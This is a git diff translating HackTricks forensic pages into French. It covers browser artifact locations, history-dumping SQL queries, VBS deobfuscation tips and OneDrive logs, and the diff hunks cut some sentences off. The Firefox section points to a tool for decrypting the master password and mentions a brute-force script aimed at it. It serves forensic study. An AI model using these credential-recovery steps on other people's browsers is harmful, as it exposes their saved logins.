Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.io/) pour créer et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Browsers Artifacts +## Artéfacts de navigateurs -When we talk about browser artifacts we talk about, navigation history, bookmarks, list of downloaded files, cache data, etc. +Lorsque nous parlons d'artéfacts de navigateur, nous parlons de l'historique de navigation, des favoris, de la liste des fichiers téléchargés, des données de cache, etc. -These artifacts are files stored inside specific folders in the operating system. +Ces artéfacts sont des fichiers stockés dans des dossiers spécifiques du système d'exploitation. -Each browser stores its files in a different place than other browsers and they all have different names, but they all store (most of the time) the same type of data (artifacts). +Chaque navigateur stocke ses fichiers dans un endroit différent des autres navigateurs et ils ont tous des noms différents, mais ils stockent tous (la plupart du temps) le même type de données (artéfacts). -Let us take a look at the most common artifacts stored by browsers. +Examinons les artéfacts les plus courants stockés par les navigateurs. -* **Navigation History:** Contains data about the navigation history of the user. Can be used to track down if the user has visited some malicious sites for example -* **Autocomplete Data:** This is the data that the browser suggests based on what you search for the most. Can be used in tandem with the navigation history to get more insight. -* **Bookmarks:** Self Explanatory. -* **Extensions and Add ons:** Self Explanatory. -* **Cache:** When navigating websites, the browser creates all sorts of cache data (images, javascript files…etc) for many reasons. For example to speed the loading time of websites. These cache files can be a great source of data during a forensic investigation. -* **Logins:** Self Explanatory. -* **Favicons:** They are the little icons found in tabs, urls, bookmarks and the such. They can be used as another source to get more information about the website or places the user visited. -* **Browser Sessions:** Self Explanatory. -* **Downloads**: Self Explanatory. -* **Form Data:** Anything typed inside forms is oftentimes stored by the browser, so the next time the user enters something inside of a form the browser can suggest previously entered data. -* **Thumbnails:** Self Explanatory. -* **Custom Dictionary.txt**: Words added to the dictionary by the user. +* **Historique de navigation :** Contient des données sur l'historique de navigation de l'utilisateur. Peut être utilisé pour suivre si l'utilisateur a visité des sites malveillants, par exemple. +* **Données d'autocomplétion :** Ce sont les données que le navigateur suggère en fonction de ce que vous recherchez le plus. Peut être utilisé en tandem avec l'historique de navigation pour obtenir plus d'informations. +* **Favoris :** Auto-explicatif. +* **Extensions et modules complémentaires :** Auto-explicatif. +* **Cache :** Lors de la navigation sur des sites Web, le navigateur crée toutes sortes de données de cache (images, fichiers JavaScript, etc.) pour de nombreuses raisons. Par exemple, pour accélérer le temps de chargement des sites Web. Ces fichiers de cache peuvent être une excellente source de données lors d'une enquête judiciaire. +* **Connexions :** Auto-explicatif. +* **Favicons :** Ce sont les petites icônes que l'on trouve dans les onglets, les URL, les favoris, etc. Ils peuvent être utilisés comme autre source pour obtenir plus d'informations sur le site Web ou les endroits visités par l'utilisateur. +* **Sessions de navigateur :** Auto-explicatif. +* **Téléchargements :** Auto-explicatif. +* **Données de formulaire :** Tout ce qui est tapé dans les formulaires est souvent stocké par le navigateur, de sorte que la prochaine fois que l'utilisateur entre quelque chose dans un formulaire, le navigateur peut suggérer des données précédemment saisies. +* **Miniatures :** Auto-explicatif. +* **Custom Dictionary.txt :** Mots ajoutés au dictionnaire par l'utilisateur. ## Firefox -Firefox create the profiles folder in \~/_**.mozilla/firefox/**_ (Linux), in **/Users/$USER/Library/Application Support/Firefox/Profiles/** (MacOS), _**%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\\**_ (Windows)_**.**_\ -Inside this folder, the file _**profiles.ini**_ should appear with the name(s) of the user profile(s).\ -Each profile has a "**Path**" variable with the name of the folder where its data is going to be stored. The folder should be **present in the same directory where the \_profiles.ini**\_\*\* exist\*\*. If it isn't, then, probably it was deleted. +Firefox crée le dossier de profils dans \~/_**.mozilla/firefox/**_ (Linux), dans **/Users/$USER/Library/Application Support/Firefox/Profiles/** (MacOS), _**%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\\**_ (Windows)_**.**_\ +Dans ce dossier, le fichier _**profiles.ini**_ doit apparaître avec le nom du ou des profils d'utilisateur.\ +Chaque profil a une variable "**Path**" avec le nom du dossier où ses données vont être stockées. Le dossier doit être **présent dans le même répertoire où se trouve le \_profiles.ini**\_\*\*. S'il ne l'est pas, alors il a probablement été supprimé. -Inside the folder **of each profile** (_\~/.mozilla/firefox/\/_) path you should be able to find the following interesting files: +Dans le dossier **de chaque profil** (_\~/.mozilla/firefox/\/_) vous devriez être en mesure de trouver les fichiers intéressants suivants : -* _**places.sqlite**_ : History (moz\_\_places), bookmarks (moz\_bookmarks), and downloads (moz\_\_annos). In Windows the tool [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) can be used to read the history inside _**places.sqlite**_. - * Query to dump history: `select datetime(lastvisitdate/1000000,'unixepoch') as visit_date, url, title, visit_count, visit_type FROM moz_places,moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id;` - * Note that a link type is a number that indicates: - * 1: User followed a link - * 2: User wrote the URL - * 3: User used a favorite - * 4: Loaded from Iframe - * 5: Accessed via HTTP redirect 301 - * 6: Accessed via HTTP redirect 302 - * 7: Downloaded file - * 8: User followed a link inside an Iframe - * Query to dump downloads: `SELECT datetime(lastModified/1000000,'unixepoch') AS down_date, content as File, url as URL FROM moz_places, moz_annos WHERE moz_places.id = moz_annos.place_id;` +* _**places.sqlite**_ : Historique (moz\_\_places), favoris (moz\_bookmarks), et téléchargements (moz\_\_annos). Dans Windows, l'outil [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) peut être utilisé pour lire l'historique à l'intérieur de _**places.sqlite**_. + * Requête pour extraire l'historique : `select datetime(lastvisitdate/1000000,'unixepoch') as visit_date, url, title, visit_count, visit_type FROM moz_places,moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id;` + * Notez qu'un type de lien est un nombre qui indique : + * 1 : L'utilisateur a suivi un lien + * 2 : L'utilisateur a écrit l'URL + * 3 : L'utilisateur a utilisé un favori + * 4 : Chargé depuis Iframe + * 5 : Accédé via une redirection HTTP 301 + * 6 : Accédé via une redirection HTTP 302 + * 7 : Fichier téléchargé + * 8 : L'utilisateur a suivi un lien à l'intérieur d'un Iframe + * Requête pour extraire les téléchargements : `SELECT datetime(lastModified/1000000,'unixepoch') AS down_date, content as File, url as URL FROM moz_places, moz_annos WHERE moz_places.id = moz_annos.place_id;` * -* _**bookmarkbackups/**_ : Bookmarks backups -* _**formhistory.sqlite**_ : **Web form data** (like emails) -* _**handlers.json**_ : Protocol handlers (like, which app is going to handle _mailto://_ protocol) -* _**persdict.dat**_ : Words added to the dictionary -* _**addons.json**_ and \_**extensions.sqlite** \_ : Installed addons and extensions -* _**cookies.sqlite**_ : Contains **cookies.** [**MZCookiesView**](https://www.nirsoft.net/utils/mzcv.html) can be used in Windows to inspect this file. -* _**cache2/entries**_ or _**startupCache**_ : Cache data (\~350MB). Tricks like **data carving** can also be used to obtain the files saved in the cache. [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html) can be used to see the **files saved in the cache**. - - Information that can be obtained: - - * URL, fetch Count, Filename, Content type, File size, Last modified time, Last fetched time, Server Last Modified, Server Response -* _**favicons.sqlite**_ : Favicons -* _**prefs.js**_ : Settings and Preferences -* _**downloads.sqlite**_ : Old downloads database (now it's inside places.sqlite) -* _**thumbnails/**_ : Thumbnails -* _**logins.json**_ : Encrypted usernames and passwords -* **Browser’s built-in anti-phishing:** `grep 'browser.safebrowsing' ~/Library/Application Support/Firefox/Profiles/*/prefs.js` - * Will return “safebrowsing.malware.enabled” and “phishing.enabled” as false if the safe search settings have been disabled -* _**key4.db**_ or _**key3.db**_ : Master key? - -To try to decrypt the master password, you can use [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\ -With the following script and call you can specify a password file to brute force: - -{% code title="brute.sh" %} +* _**bookmarkbackups/**_ : Sauvegardes de favoris +* _**formhistory.sqlite**_ : **Données de formulaire Web** (comme les e-mails) +* _**handlers.json**_ : Gestionnaires de protocoles (comme, quelle application va gérer le protocole _mailto://_) +* _**persdict.dat**_ : Mots ajoutés au dictionnaire +* _**addons.json**_ et \_**extensions.sqlite** \_ : Modules complémentaires et extensions installés +* _**cookies.sqlite**_ : Contient des **cookies**. [**MZCookiesView**](https://www.nirsoft.net/utils/mzcv.html) peut être utilisé sous Windows pour inspecter ce fichier. +* _**cache2/entries**_ ou _**startupCache**_ : Données de cache (\~350MB). Des astuces comme la **récupération de données** peuvent également être utilisées pour obtenir les fichiers enregistrés dans le cache. [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html) peut être utilisé pour voir les **fichiers en ```bash #!/bin/bash @@ -104,186 +87,38 @@ done < $passfile ## Google Chrome -Google Chrome creates the profile inside the home of the user _**\~/.config/google-chrome/**_ (Linux), in _**C:\Users\XXX\AppData\Local\Google\Chrome\User Data\\**_ (Windows), or in \_**/Users/$USER/Library/Application Support/Google/Chrome/** \_ (MacOS).\ -Most of the information will be saved inside the _**Default/**_ or _**ChromeDefaultData/**_ folders inside the paths indicated before. Here you can find the following interesting files: +Google Chrome crée le profil à l'intérieur du dossier de l'utilisateur _**\~/.config/google-chrome/**_ (Linux), dans _**C:\Users\XXX\AppData\Local\Google\Chrome\User Data\\**_ (Windows), ou dans \_**/Users/$USER/Library/Application Support/Google/Chrome/** \_ (MacOS).\ +La plupart des informations seront enregistrées dans les dossiers _**Default/**_ ou _**ChromeDefaultData/**_ dans les chemins indiqués précédemment. Vous pouvez y trouver les fichiers intéressants suivants : -* _**History**_: URLs, downloads and even searched keywords. In Windows, you can use the tool [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) to read the history. The "Transition Type" column means: - * Link: User clicked on a link - * Typed: The url was written +* _**History**_ : URLs, téléchargements et même mots-clés recherchés. Sous Windows, vous pouvez utiliser l'outil [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) pour lire l'historique. La colonne "Transition Type" signifie : + * Link : L'utilisateur a cliqué sur un lien + * Typed : L'URL a été écrite * Auto Bookmark - * Auto Subframe: Add - * Start page: Home page - * Form Submit: A form was filled and sent + * Auto Subframe : Ajouter + * Start page : Page d'accueil + * Form Submit : Un formulaire a été rempli et envoyé * Reloaded -* _**Cookies**_: Cookies. [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) can be used to inspect the cookies. -* _**Cache**_: Cache. In Windows, you can use the tool [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) to inspect the ca -* _**Bookmarks**_: Bookmarks -* _**Web Data**_: Form History -* _**Favicons**_: Favicons -* _**Login Data**_: Login information (usernames, passwords...) -* _**Current Session**_ and _**Current Tabs**_: Current session data and current tabs -* _**Last Session**_ and _**Last Tabs**_: These files hold sites that were active in the browser when Chrome was last closed. -* _**Extensions**_: Extensions and addons folder -* **Thumbnails** : Thumbnails -* **Preferences**: This file contains a plethora of good information such as plugins, extensions, sites using geolocation, popups, notifications, DNS prefetching, certificate exceptions, and much more. If you’re trying to research whether or not a specific Chrome setting was enabled, you will likely find that setting in here. -* **Browser’s built-in anti-phishing:** `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` - * You can simply grep for “**safebrowsing**” and look for `{"enabled: true,"}` in the result to indicate anti-phishing and malware protection is on. +* _**Cookies**_ : Cookies. [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) peut être utilisé pour inspecter les cookies. +* _**Cache**_ : Cache. Sous Windows, vous pouvez utiliser l'outil [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) pour inspecter le cache. +* _**Bookmarks**_ : Signets +* _**Web Data**_ : Historique des formulaires +* _**Favicons**_ : Favicons +* _**Login Data**_ : Informations de connexion (noms d'utilisateur, mots de passe...) +* _**Current Session**_ et _**Current Tabs**_ : Données de session en cours et onglets en cours +* _**Last Session**_ et _**Last Tabs**_ : Ces fichiers contiennent les sites qui étaient actifs dans le navigateur lorsque Chrome a été fermé pour la dernière fois. +* _**Extensions**_ : Dossier d'extensions et d'addons +* **Thumbnails** : Miniatures +* **Preferences** : Ce fichier contient une pléthore d'informations utiles telles que les plugins, les extensions, les sites utilisant la géolocalisation, les popups, les notifications, le prefetching DNS, les exceptions de certificat, et bien plus encore. Si vous essayez de rechercher si un paramètre spécifique de Chrome était activé ou non, vous trouverez probablement ce paramètre ici. +* **Anti-phishing intégré au navigateur** : `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` + * Vous pouvez simplement rechercher "safebrowsing" et chercher `{"enabled: true,"}` dans le résultat pour indiquer que la protection anti-phishing et anti-malware est activée. -## **SQLite DB Data Recovery** +## Récupération de données de base de données SQLite -As you can observe in the previous sections, both Chrome and Firefox use **SQLite** databases to store the data. It's possible to **recover deleted entries using the tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **or** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). +Comme vous pouvez l'observer dans les sections précédentes, Chrome et Firefox utilisent tous deux des bases de données **SQLite** pour stocker les données. Il est possible de **récupérer les entrées supprimées à l'aide de l'outil** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ou** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). -## **Internet Explorer 11** +## Internet Explorer 11 -Internet Explorer stores **data** and **metadata** in different locations. The metadata will allow finding the data. +Internet Explorer stocke les **données** et les **métadonnées** dans différents emplacements. Les métadonnées permettront de trouver les données. -The **metadata** can be found in the folder `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` where VX can be V01, V16, or V24.\ -In the previous folder, you can also find the file V01.log. In case the **modified time** of this file and the WebcacheVX.data file **are different** you may need to run the command `esentutl /r V01 /d` to **fix** possible **incompatibilities**. - -Once **recovered** this artifact (It's an ESE database, photorec can recover it with the options Exchange Database or EDB) you can use the program [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) to open it. Once **opened**, go to the table named "**Containers**". - -![](<../../../.gitbook/assets/image (446).png>) - -Inside this table, you can find in which other tables or containers each part of the stored information is saved. Following that, you can find the **locations of the data** stored by the browsers and the **metadata** that is inside. - -**Note that this table indicates metadata of the cache for other Microsoft tools also (e.g. skype)** - -### Cache - -You can use the tool [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) to inspect the cache. You need to indicate the folder where you have extracted the cache date. - -#### Metadata - -The metadata information about the cache stores: - -* Filename in the disc -* SecureDIrectory: Location of the file inside the cache directories -* AccessCount: Number of times it was saved in the cache -* URL: The url origin -* CreationTime: First time it was cached -* AccessedTime: Time when the cache was used -* ModifiedTime: Last webpage version -* ExpiryTime: Time when the cache will expire - -#### Files - -The cache information can be found in _**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5**_ and _**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\low**_ - -The information inside these folders is a **snapshot of what the user was seeing**. The caches have a size of **250 MB** and the timestamps indicate when the page was visited (first time, creation date of the NTFS, last time, modification time of the NTFS). - -### Cookies - -You can use the tool [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) to inspect the cookies. You need to indicate the folder where you have extracted the cookies. - -#### **Metadata** - -The metadata information about the cookies stored: - -* Cookie name in the filesystem -* URL -* AccessCount: Number of times the cookies have been sent to the server -* CreationTime: First time the cookie was created -* ModifiedTime: Last time the cookie was modified -* AccessedTime: Last time the cookie was accessed -* ExpiryTime: Time of expiration of the cookie - -#### Files - -The cookies data can be found in _**%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies**_ and _**%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies\low**_ - -Session cookies will reside in memory and persistent cookie in the disk. - -### Downloads - -#### **Metadata** - -Checking the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) you can find the container with the metadata of the downloads: - -![](<../../../.gitbook/assets/image (445).png>) - -Getting the information of the column "ResponseHeaders" you can transform from hex that information and obtain the URL, the file type and the location of the downloaded file. - -#### Files - -Look in the path _**%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory**_ - -### **History** - -The tool [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) can be used to read the history. But first, you need to indicate the browser in advanced options and the location of the extracted history files. - -#### **Metadata** - -* ModifiedTime: First time a URL is found -* AccessedTime: Last time -* AccessCount: Number of times accessed - -#### **Files** - -Search in _**userprofile%\Appdata\Local\Microsoft\Windows\History\History.IE5**_ and _**userprofile%\Appdata\Local\Microsoft\Windows\History\Low\History.IE5**_ - -### **Typed URLs** - -This information can be found inside the registry NTDUSER.DAT in the path: - -* _**Software\Microsoft\InternetExplorer\TypedURLs**_ - * Stores the last 50 URLs typed by the user -* _**Software\Microsoft\InternetExplorer\TypedURLsTime**_ - * last time the URL was typed - -## Microsoft Edge - -For analyzing Microsoft Edge artifacts all the **explanations about cache and locations from the previous section (IE 11) remain valid** with the only difference that the base locating, in this case, is _**%userprofile%\Appdata\Local\Packages**_ (as can be observed in the following paths): - -* Profile Path: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC**_ -* History, Cookies and Downloads: _**C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat**_ -* Settings, Bookmarks, and Reading List: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb**_ -* Cache: _**C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC#!XXX\MicrosoftEdge\Cache**_ -* Last active sessions: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active**_ - -## **Safari** - -The databases can be found in `/Users/$User/Library/Safari` - -* **History.db**: The tables `history_visits` _and_ `history_items` contains information about the history and timestamps. - * `sqlite3 ~/Library/Safari/History.db "SELECT h.visit_time, i.url FROM history_visits h INNER JOIN history_items i ON h.history_item = i.id"` -* **Downloads.plist**: Contains the info about the downloaded files. -* **Book-marks.plis**t: URLs bookmarked. -* **TopSites.plist**: List of the most visited websites that the user browses to. -* **Extensions.plist**: To retrieve an old-style list of Safari browser extensions. - * `plutil -p ~/Library/Safari/Extensions/Extensions.plist| grep "Bundle Directory Name" | sort --ignore-case` - * `pluginkit -mDvvv -p com.apple.Safari.extension` -* **UserNotificationPermissions.plist**: Domains that are allowed to push notifications. - * `plutil -p ~/Library/Safari/UserNotificationPermissions.plist | grep -a3 '"Permission" => 1'` -* **LastSession.plist**: Tabs that were opened the last time the user exited Safari. - * `plutil -p ~/Library/Safari/LastSession.plist | grep -iv sessionstate` -* **Browser’s built-in anti-phishing:** `defaults read com.apple.Safari WarnAboutFraudulentWebsites` - * The reply should be 1 to indicate the setting is active - -## Opera - -The databases can be found in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` - -Opera **stores browser history and download data in the exact same format as Google Chrome**. This applies to the file names as well as the table names. - -* **Browser’s built-in anti-phishing:** `grep --color 'fraud_protection_enabled' ~/Library/Application Support/com.operasoftware.Opera/Preferences` - * **fraud\_protection\_enabled** should be **true** - -![](<../.gitbook/assets/image (9) (1) (2).png>) - -\ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+Les **métadonnées** peuvent être trouvées dans le dossier `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` où VX peut être V01, V16 ou V24.\ +Dans le dossier diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md index d8afd50f6..0d505a6c4 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md @@ -1,44 +1,18 @@ - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - -Some things that could be useful to debug/deobfuscate a malicious VBS file: +Quelques astuces qui pourraient être utiles pour déboguer/désobfusquer un fichier VBS malveillant : ## echo - ```bash Wscript.Echo "Like this?" ``` - -## Commnets - +## Commentaires ```text ' this is a comment ``` - ## Test - ```text cscript.exe file.vbs ``` - -## Write data to a file - +## Écrire des données dans un fichier ```aspnet Function writeBinary(strBinary, strPath) @@ -63,23 +37,18 @@ Function writeBinary(strBinary, strPath) End Function ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index 5767dd8a3..d023d19a5 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -1,123 +1,121 @@ -# Local Cloud Storage +# Stockage local dans le cloud
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.io/) pour créer et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## OneDrive -In Windows, you can find the OneDrive folder in `\Users\\AppData\Local\Microsoft\OneDrive`. And inside `logs\Personal` it's possible to find the file `SyncDiagnostics.log` which contains some interesting data regarding the synchronized files: +Sous Windows, vous pouvez trouver le dossier OneDrive dans `\Users\\AppData\Local\Microsoft\OneDrive`. Et à l'intérieur de `logs\Personal`, il est possible de trouver le fichier `SyncDiagnostics.log` qui contient des données intéressantes concernant les fichiers synchronisés : -* Size in bytes -* Creation date -* Modification date -* Number of files in the cloud -* Number of files in the folder -* **CID**: Unique ID of the OneDrive user 